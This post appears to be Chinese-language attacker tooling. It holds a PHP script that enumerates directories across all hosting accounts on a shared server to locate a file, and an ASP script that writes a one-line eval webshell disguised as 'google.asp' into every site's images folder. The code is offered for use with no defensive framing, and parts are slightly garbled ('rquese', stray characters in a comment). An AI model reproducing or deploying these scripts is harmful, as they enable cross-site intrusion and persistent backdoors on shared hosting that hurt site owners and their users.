php写的寻找二层目录的小程序

2. set_time_limit(0);
3. $path = 'D:/Hosting';
4. $somefile = $_GET['key'];
5. $logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
6. if (!isset($_SERVER['PHP_AUTH_USER'])) {
7. header('WWW-Authenticate: Basic realm="My Realm"');
8. header('HTTP/1.0 401 Unauthorized');
9. echo 'Text to send if user hits Cancel button';
10. exit;
11. } else {
12. if(is_dir($path) && is_readable($path))
13. {
14. $path2 = '';
15. $handle = opendir($path);
16. while(false !== ($filename = readdir($handle)))
17. {
18. if($filename{0} != $_GET['dir'])
19. {
20. continue;
21. }
22. /*
23. if($filename张尛贰-Mi != $_GET['two'])
24. {
25. continue;
26. }
27. */
28. //$path2 = $path.'/'.$filename.'/html';
29. $path2 = $path.'/'.$filename;
30. if(is_dir($path2) && is_readable($path2))
31. {
32. @$handle2 = opendir($path2);
33. while(false !== ($filename2 = readdir($handle2)))
34. {
35. if($filename2 == $somefile)
36. {
37. //echo'[+]Found !'.$filename2."\n";
38. file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
39. }
40. }
41. @closedir($handle2);
42. }
43. }
44. file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
45. closedir($handle);
46. }
47. }
48. ?>

2、asp版

2. <%
3. Server.ScriptTimeout=500000000
4. key = Trim(Request.QueryString("key"))
5. msg=" <% eval(rquese(Chr(35)))%" &">"
6. Set FSO=Server.CreateObject("Scripting.FileSystemObject")
7. Set ServerFolder=FSO.GetFolder("C:\intel")
8. Set ServerFolderList=ServerFolder.subfolders
9. For Each ServerFileEvery IN ServerFolderList
10. ' Response.write ServerFileEvery&"
    "
11. If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
12. Set sServerFolder=FSO.GetFolder(ServerFileEvery)
13. Set sServerFolderList=sServerFolder.subfolders
14. For Each sServerFileEvery IN sServerFolderList
15. If LCase(sServerFileEvery.name) = "images" Then
16. StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
17. End If
18. Next
19. End If
20. Next
21. Function StreamSaveToFile(sPath, sContent, sCharSet)
22. Dim oStream
23. If(InStr(sPath, ":") <= 0)Then
24. sPath = Replace(sPath, ",", "，")
25. sPath = Server.MapPath(sPath)
26. sPath = Replace(sPath, "，", ",")
27. End If
28. Set oStream = Server.CreateObject("Adodb.Stream")
29. With oStream
30. .Type = 2
31. .Mode = 3
32. .Open
33. .Charset = sCharSet
34. .WriteText sContent
35. .SaveToFile sPath, 2
36. .Close
37. End With
38. Set oStream = Nothing
39. End Function
40. %>